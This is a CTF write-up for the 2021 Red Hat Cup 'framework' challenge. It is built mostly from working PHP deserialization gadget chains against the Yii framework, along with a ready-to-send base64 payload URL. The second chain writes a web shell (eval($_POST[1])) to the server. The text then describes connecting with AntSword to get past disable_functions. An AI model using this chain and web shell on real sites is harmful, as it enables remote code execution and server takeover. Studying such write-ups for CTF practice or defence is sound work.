2021红帽杯 framework

Posted 2021-06-29 H3rmesk1t

2021红帽杯 framework

• 考点
• 思路
• Payload

考点

yii反序列化

思路

直接 /www.zip发现源码，直接拷贝下来本地运行
yii反序列化可以看看我之前的分析：文章链接
phpinfo中可以发现：system、eval之类的一些函数好像都没有效果，设置了disable_functions；assert能用、file_put_contents()也能用

Payload

POC链

<?php
namespace yii\\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '5';
        }
    }
}

namespace Faker{
    use yii\\rest\\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\\db{
    use Faker\\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\\db\\BatchQueryResult));
}
?>

Payload

?r=site%2Fabout&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiI1Ijt9aToxO3M6MzoicnVuIjt9fX19

POC链

<?php
namespace yii\\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = 'file_put_contents(\\'shell.php\\',\\'<?php eval($_POST[1]);?>\\');';
        }
    }
}

namespace Faker{
    use yii\\rest\\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\\db{
    use Faker\\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\\db\\BatchQueryResult));
}
?>

上蚁剑，用插件，phpinfo的信息显示这里是Apache/2.4.6 (CentOS) PHP/5.6.40，选择Apache_mod_cgi